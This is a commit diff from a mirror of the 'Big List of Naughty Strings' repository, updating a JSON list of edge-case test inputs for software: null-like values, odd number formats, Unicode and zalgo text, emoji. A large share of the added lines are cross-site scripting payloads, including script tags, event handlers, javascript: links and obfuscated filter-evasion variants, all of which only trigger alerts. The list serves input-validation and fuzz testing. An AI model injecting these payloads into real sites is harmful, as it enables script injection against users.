mirror of
https://github.com/minimaxir/big-list-of-naughty-strings.git
synced 2025-09-03 02:42:36 +02:00
update JSON + code for handling backslash issues in future
This commit is contained in:
297
blns.json
297
blns.json
@@ -4,6 +4,7 @@
|
|||||||
"undef",
|
"undef",
|
||||||
"null",
|
"null",
|
||||||
"NULL",
|
"NULL",
|
||||||
|
"(null)",
|
||||||
"nil",
|
"nil",
|
||||||
"NIL",
|
"NIL",
|
||||||
"true",
|
"true",
|
||||||
@@ -11,8 +12,8 @@
|
|||||||
"True",
|
"True",
|
||||||
"False",
|
"False",
|
||||||
"None",
|
"None",
|
||||||
"\\",
|
"\\",
|
||||||
"\\\\",
|
"\\\\",
|
||||||
"0",
|
"0",
|
||||||
"1",
|
"1",
|
||||||
"1.00",
|
"1.00",
|
||||||
@@ -30,6 +31,8 @@
|
|||||||
"-1E+02",
|
"-1E+02",
|
||||||
"1/0",
|
"1/0",
|
||||||
"0/0",
|
"0/0",
|
||||||
|
"-2147483648/-1",
|
||||||
|
"-9223372036854775808/-1",
|
||||||
"0.00",
|
"0.00",
|
||||||
"0..0",
|
"0..0",
|
||||||
".",
|
".",
|
||||||
@@ -56,9 +59,25 @@
|
|||||||
"0xffffffffffffffff",
|
"0xffffffffffffffff",
|
||||||
"0xabad1dea",
|
"0xabad1dea",
|
||||||
"123456789012345678901234567890123456789",
|
"123456789012345678901234567890123456789",
|
||||||
|
"1,000.00",
|
||||||
|
"1 000.00",
|
||||||
|
"1'000.00",
|
||||||
|
"1,000,000.00",
|
||||||
|
"1 000 000.00",
|
||||||
|
"1'000'000.00",
|
||||||
|
"1.000,00",
|
||||||
|
"1 000,00",
|
||||||
|
"1'000,00",
|
||||||
|
"1.000.000,00",
|
||||||
|
"1 000 000,00",
|
||||||
|
"1'000'000,00",
|
||||||
|
"01000",
|
||||||
|
"08",
|
||||||
|
"09",
|
||||||
|
"2.2250738585072011e-308",
|
||||||
",./;'[]\\-=",
|
",./;'[]\\-=",
|
||||||
"<>?:\"{}|_+",
|
"<>?:\"{}|_+",
|
||||||
"!@#$%^&*()`",
|
"!@#$%^&*()`~",
|
||||||
"Ω≈ç√∫˜µ≤≥÷",
|
"Ω≈ç√∫˜µ≤≥÷",
|
||||||
"åß∂ƒ©˙∆˚¬…æ",
|
"åß∂ƒ©˙∆˚¬…æ",
|
||||||
"œ∑´®†¥¨ˆøπ“‘",
|
"œ∑´®†¥¨ˆøπ“‘",
|
||||||
@@ -67,9 +86,9 @@
|
|||||||
"ÅÍÎÏ˝ÓÔÒÚÆ☃",
|
"ÅÍÎÏ˝ÓÔÒÚÆ☃",
|
||||||
"Œ„´‰ˇÁ¨ˆØ∏”’",
|
"Œ„´‰ˇÁ¨ˆØ∏”’",
|
||||||
"`⁄€‹›fifl‡°·‚—±",
|
"`⁄€‹›fifl‡°·‚—±",
|
||||||
"⅛⅜⅝⅞",
|
"⅛⅜⅝⅞",
|
||||||
"ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя",
|
"ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя",
|
||||||
"٠١٢٣٤٥٦٧٨٩",
|
"٠١٢٣٤٥٦٧٨٩",
|
||||||
"⁰⁴⁵",
|
"⁰⁴⁵",
|
||||||
"₀₁₂",
|
"₀₁₂",
|
||||||
"⁰⁴⁵₀₁₂",
|
"⁰⁴⁵₀₁₂",
|
||||||
@@ -98,6 +117,7 @@
|
|||||||
",。・:*:・゜’( ☻ ω ☻ )。・:*:・゜’",
|
",。・:*:・゜’( ☻ ω ☻ )。・:*:・゜’",
|
||||||
"(╯°□°)╯︵ ┻━┻) ",
|
"(╯°□°)╯︵ ┻━┻) ",
|
||||||
"(ノಥ益ಥ)ノ ┻━┻",
|
"(ノಥ益ಥ)ノ ┻━┻",
|
||||||
|
"( ͡° ͜ʖ ͡°)",
|
||||||
"😍",
|
"😍",
|
||||||
"👩🏽",
|
"👩🏽",
|
||||||
"👾 🙇 💁 🙅 🙆 🙋 🙎 🙍 ",
|
"👾 🙇 💁 🙅 🙆 🙋 🙎 🙍 ",
|
||||||
@@ -109,7 +129,7 @@
|
|||||||
"123",
|
"123",
|
||||||
"١٢٣",
|
"١٢٣",
|
||||||
"ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة بولندا، الإطلاق عل إيو.",
|
"ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة بولندا، الإطلاق عل إيو.",
|
||||||
"בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ",
|
"בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ",
|
||||||
"הָיְתָהtestالصفحات التّحول",
|
"הָיְתָהtestالصفحات التّحول",
|
||||||
"",
|
"",
|
||||||
" ",
|
" ",
|
||||||
@@ -124,11 +144,11 @@
|
|||||||
"
test
",
|
"
test
",
|
||||||
"testtest",
|
"testtest",
|
||||||
"test",
|
"test",
|
||||||
"Ṱ̺̺̕o͞ ̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤ ̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳ ̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠̣͟s̘͇̳͍̝͉e͉̥̯̞̲͚̬͜ǹ̬͎͎̟̖͇̤t͍̬̤͓̼̭͘ͅi̪̱n͠g̴͉ ͏͉ͅc̬̟h͡a̫̻̯͘o̫̟̖͍̙̝͉s̗̦̲.̨̹͈̣",
|
"Ṱ̺̺̕o͞ ̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤ ̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳ ̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠̣͟s̘͇̳͍̝͉e͉̥̯̞̲͚̬͜ǹ̬͎͎̟̖͇̤t͍̬̤͓̼̭͘ͅi̪̱n͠g̴͉ ͏͉ͅc̬̟h͡a̫̻̯͘o̫̟̖͍̙̝͉s̗̦̲.̨̹͈̣",
|
||||||
"̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎ ̰t͔̦h̞̲e̢̤ ͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍ ̨o͚̪͡f̘̣̬ ̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖̦̻͢.̛̖̞̠̫̰",
|
"̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎ ̰t͔̦h̞̲e̢̤ ͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍ ̨o͚̪͡f̘̣̬ ̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖̦̻͢.̛̖̞̠̫̰",
|
||||||
"̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔ ͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜ ̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟ ̯̲͕͞ǫ̟̯̰̲͙̻̝f ̪̰̰̗̖̭̘͘c̦͍̲̞͍̩̙ḥ͚a̮͎̟̙͜ơ̩̹͎s̤.̝̝ ҉Z̡̖̜͖̰̣͉̜a͖̰͙̬͡l̲̫̳͍̩g̡̟̼̱͚̞̬ͅo̗͜.̟",
|
"̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔ ͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜ ̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟ ̯̲͕͞ǫ̟̯̰̲͙̻̝f ̪̰̰̗̖̭̘͘c̦͍̲̞͍̩̙ḥ͚a̮͎̟̙͜ơ̩̹͎s̤.̝̝ ҉Z̡̖̜͖̰̣͉̜a͖̰͙̬͡l̲̫̳͍̩g̡̟̼̱͚̞̬ͅo̗͜.̟",
|
||||||
"̦H̬̤̗̤͝e͜ ̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮ ҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕ ̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖ ̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ ̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹̼̣l̴͔̰̤̟͔ḽ̫.͕",
|
"̦H̬̤̗̤͝e͜ ̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮ ҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕ ̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖ ̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ ̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹̼̣l̴͔̰̤̟͔ḽ̫.͕",
|
||||||
"Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮",
|
"Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮",
|
||||||
"˙ɐnbᴉlɐ ɐuƃɐɯ ǝɹolop ʇǝ ǝɹoqɐl ʇn ʇunpᴉpᴉɔuᴉ ɹodɯǝʇ poɯsnᴉǝ op pǝs 'ʇᴉlǝ ƃuᴉɔsᴉdᴉpɐ ɹnʇǝʇɔǝsuoɔ 'ʇǝɯɐ ʇᴉs ɹolop ɯnsdᴉ ɯǝɹo˥",
|
"˙ɐnbᴉlɐ ɐuƃɐɯ ǝɹolop ʇǝ ǝɹoqɐl ʇn ʇunpᴉpᴉɔuᴉ ɹodɯǝʇ poɯsnᴉǝ op pǝs 'ʇᴉlǝ ƃuᴉɔsᴉdᴉpɐ ɹnʇǝʇɔǝsuoɔ 'ʇǝɯɐ ʇᴉs ɹolop ɯnsdᴉ ɯǝɹo˥",
|
||||||
"00˙Ɩ$-",
|
"00˙Ɩ$-",
|
||||||
"The quick brown fox jumps over the lazy dog",
|
"The quick brown fox jumps over the lazy dog",
|
||||||
@@ -139,27 +159,239 @@
|
|||||||
"𝕋𝕙𝕖 𝕢𝕦𝕚𝕔𝕜 𝕓𝕣𝕠𝕨𝕟 𝕗𝕠𝕩 𝕛𝕦𝕞𝕡𝕤 𝕠𝕧𝕖𝕣 𝕥𝕙𝕖 𝕝𝕒𝕫𝕪 𝕕𝕠𝕘",
|
"𝕋𝕙𝕖 𝕢𝕦𝕚𝕔𝕜 𝕓𝕣𝕠𝕨𝕟 𝕗𝕠𝕩 𝕛𝕦𝕞𝕡𝕤 𝕠𝕧𝕖𝕣 𝕥𝕙𝕖 𝕝𝕒𝕫𝕪 𝕕𝕠𝕘",
|
||||||
"𝚃𝚑𝚎 𝚚𝚞𝚒𝚌𝚔 𝚋𝚛𝚘𝚠𝚗 𝚏𝚘𝚡 𝚓𝚞𝚖𝚙𝚜 𝚘𝚟𝚎𝚛 𝚝𝚑𝚎 𝚕𝚊𝚣𝚢 𝚍𝚘𝚐",
|
"𝚃𝚑𝚎 𝚚𝚞𝚒𝚌𝚔 𝚋𝚛𝚘𝚠𝚗 𝚏𝚘𝚡 𝚓𝚞𝚖𝚙𝚜 𝚘𝚟𝚎𝚛 𝚝𝚑𝚎 𝚕𝚊𝚣𝚢 𝚍𝚘𝚐",
|
||||||
"⒯⒣⒠ ⒬⒰⒤⒞⒦ ⒝⒭⒪⒲⒩ ⒡⒪⒳ ⒥⒰⒨⒫⒮ ⒪⒱⒠⒭ ⒯⒣⒠ ⒧⒜⒵⒴ ⒟⒪⒢",
|
"⒯⒣⒠ ⒬⒰⒤⒞⒦ ⒝⒭⒪⒲⒩ ⒡⒪⒳ ⒥⒰⒨⒫⒮ ⒪⒱⒠⒭ ⒯⒣⒠ ⒧⒜⒵⒴ ⒟⒪⒢",
|
||||||
"<script>alert('XSS')</script>",
|
"<script>alert(123)</script>",
|
||||||
"<img src=x onerror=alert('XSS') />",
|
"<img src=x onerror=alert(123) />",
|
||||||
"<svg><script>0<1>alert('XSS')</script> ",
|
"<svg><script>123<1>alert(123)</script> ",
|
||||||
"\"><script>alert(document.title)</script>",
|
"\"><script>alert(123)</script>",
|
||||||
"'><script>alert(document.title)</script>",
|
"'><script>alert(123)</script>",
|
||||||
"><script>alert(document.title)</script>",
|
"><script>alert(123)</script>",
|
||||||
"</script><script>alert(document.title)</script>",
|
"</script><script>alert(123)</script>",
|
||||||
"< / script >< script >alert(document.title)< / script >",
|
"< / script >< script >alert(123)< / script >",
|
||||||
" onfocus=alert(document.title) autofocus ",
|
" onfocus=JaVaSCript:alert(123) autofocus ",
|
||||||
"\" onfocus=alert(document.title) autofocus ",
|
"\" onfocus=JaVaSCript:alert(123) autofocus ",
|
||||||
"' onfocus=alert(document.title) autofocus ",
|
"' onfocus=JaVaSCript:alert(123) autofocus ",
|
||||||
"<script>alert(document.title)</script>",
|
"<script>alert(123)</script>",
|
||||||
"<sc<script>ript>alert('XSS')</sc</script>ript>",
|
"<sc<script>ript>alert(123)</sc</script>ript>",
|
||||||
"--><script>alert(0)</script>",
|
"--><script>alert(123)</script>",
|
||||||
"\";alert(0);t=\"",
|
"\";alert(123);t=\"",
|
||||||
"';alert(0);t='",
|
"';alert(123);t='",
|
||||||
"JavaSCript:alert(0)",
|
"JavaSCript:alert(123)",
|
||||||
";alert(0);",
|
";alert(123);",
|
||||||
"src=JaVaSCript:prompt(9)",
|
"src=JaVaSCript:prompt(132)",
|
||||||
|
"\"><script>alert(123);</script x=\"",
|
||||||
|
"'><script>alert(123);</script x='",
|
||||||
|
"><script>alert(123);</script x=",
|
||||||
|
"\" autofocus onkeyup=\"javascript:alert(123)",
|
||||||
|
"' autofocus onkeyup='javascript:alert(123)",
|
||||||
|
"<script\\x20type=\"text/javascript\">javascript:alert(1);</script>",
|
||||||
|
"<script\\x3Etype=\"text/javascript\">javascript:alert(1);</script>",
|
||||||
|
"<script\\x0Dtype=\"text/javascript\">javascript:alert(1);</script>",
|
||||||
|
"<script\\x09type=\"text/javascript\">javascript:alert(1);</script>",
|
||||||
|
"<script\\x0Ctype=\"text/javascript\">javascript:alert(1);</script>",
|
||||||
|
"<script\\x2Ftype=\"text/javascript\">javascript:alert(1);</script>",
|
||||||
|
"<script\\x0Atype=\"text/javascript\">javascript:alert(1);</script>",
|
||||||
|
"'`\"><\\x3Cscript>javascript:alert(1)</script> ",
|
||||||
|
"'`\"><\\x00script>javascript:alert(1)</script>",
|
||||||
|
"ABC<div style=\"x\\x3Aexpression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:expression\\x5C(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:expression\\x00(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:exp\\x00ression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:exp\\x5Cression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\x0Aexpression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\x09expression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\xE3\\x80\\x80expression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\xE2\\x80\\x84expression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\xC2\\xA0expression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\xE2\\x80\\x80expression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\xE2\\x80\\x8Aexpression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\x0Dexpression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\x0Cexpression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\xE2\\x80\\x87expression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\xEF\\xBB\\xBFexpression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\x20expression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\xE2\\x80\\x88expression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\x00expression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\xE2\\x80\\x8Bexpression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\xE2\\x80\\x86expression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\xE2\\x80\\x85expression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\xE2\\x80\\x82expression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\x0Bexpression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\xE2\\x80\\x81expression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\xE2\\x80\\x83expression(javascript:alert(1)\">DEF",
|
||||||
|
"ABC<div style=\"x:\\xE2\\x80\\x89expression(javascript:alert(1)\">DEF",
|
||||||
|
"<a href=\"\\x0Bjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x0Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xC2\\xA0javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x05javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE1\\xA0\\x8Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x18javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x11javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE2\\x80\\x88javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE2\\x80\\x89javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE2\\x80\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x17javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x03javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x0Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x1Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x00javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x10javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE2\\x80\\x82javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x20javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x13javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x09javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE2\\x80\\x8Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x14javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x19javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE2\\x80\\xAFjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x1Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE2\\x80\\x81javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x1Djavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE2\\x80\\x87javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x07javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE1\\x9A\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE2\\x80\\x83javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x04javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x01javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x08javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE2\\x80\\x84javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE2\\x80\\x86javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE3\\x80\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x12javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x0Djavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x0Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x0Cjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x15javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE2\\x80\\xA8javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x16javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x02javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x1Bjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x06javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE2\\x80\\xA9javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE2\\x80\\x85javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x1Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\xE2\\x81\\x9Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"\\x1Cjavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"javascript\\x00:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"javascript\\x3A:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"javascript\\x09:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"javascript\\x0D:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"<a href=\"javascript\\x0A:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
|
||||||
|
"`\"'><img src=xxx:x \\x0Aonerror=javascript:alert(1)>",
|
||||||
|
"`\"'><img src=xxx:x \\x22onerror=javascript:alert(1)>",
|
||||||
|
"`\"'><img src=xxx:x \\x0Bonerror=javascript:alert(1)>",
|
||||||
|
"`\"'><img src=xxx:x \\x0Donerror=javascript:alert(1)>",
|
||||||
|
"`\"'><img src=xxx:x \\x2Fonerror=javascript:alert(1)>",
|
||||||
|
"`\"'><img src=xxx:x \\x09onerror=javascript:alert(1)>",
|
||||||
|
"`\"'><img src=xxx:x \\x0Conerror=javascript:alert(1)>",
|
||||||
|
"`\"'><img src=xxx:x \\x00onerror=javascript:alert(1)>",
|
||||||
|
"`\"'><img src=xxx:x \\x27onerror=javascript:alert(1)>",
|
||||||
|
"`\"'><img src=xxx:x \\x20onerror=javascript:alert(1)>",
|
||||||
|
"\"`'><script>\\x3Bjavascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\x0Djavascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xEF\\xBB\\xBFjavascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE2\\x80\\x81javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE2\\x80\\x84javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE3\\x80\\x80javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\x09javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE2\\x80\\x89javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE2\\x80\\x85javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE2\\x80\\x88javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\x00javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE2\\x80\\xA8javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE2\\x80\\x8Ajavascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE1\\x9A\\x80javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\x0Cjavascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\x2Bjavascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xF0\\x90\\x96\\x9Ajavascript:alert(1)</script>",
|
||||||
|
"\"`'><script>-javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\x0Ajavascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE2\\x80\\xAFjavascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\x7Ejavascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE2\\x80\\x87javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE2\\x81\\x9Fjavascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE2\\x80\\xA9javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xC2\\x85javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xEF\\xBF\\xAEjavascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE2\\x80\\x83javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE2\\x80\\x8Bjavascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xEF\\xBF\\xBEjavascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE2\\x80\\x80javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\x21javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE2\\x80\\x82javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE2\\x80\\x86javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xE1\\xA0\\x8Ejavascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\x0Bjavascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\x20javascript:alert(1)</script>",
|
||||||
|
"\"`'><script>\\xC2\\xA0javascript:alert(1)</script>",
|
||||||
|
"<img \\x00src=x onerror=\"alert(1)\">",
|
||||||
|
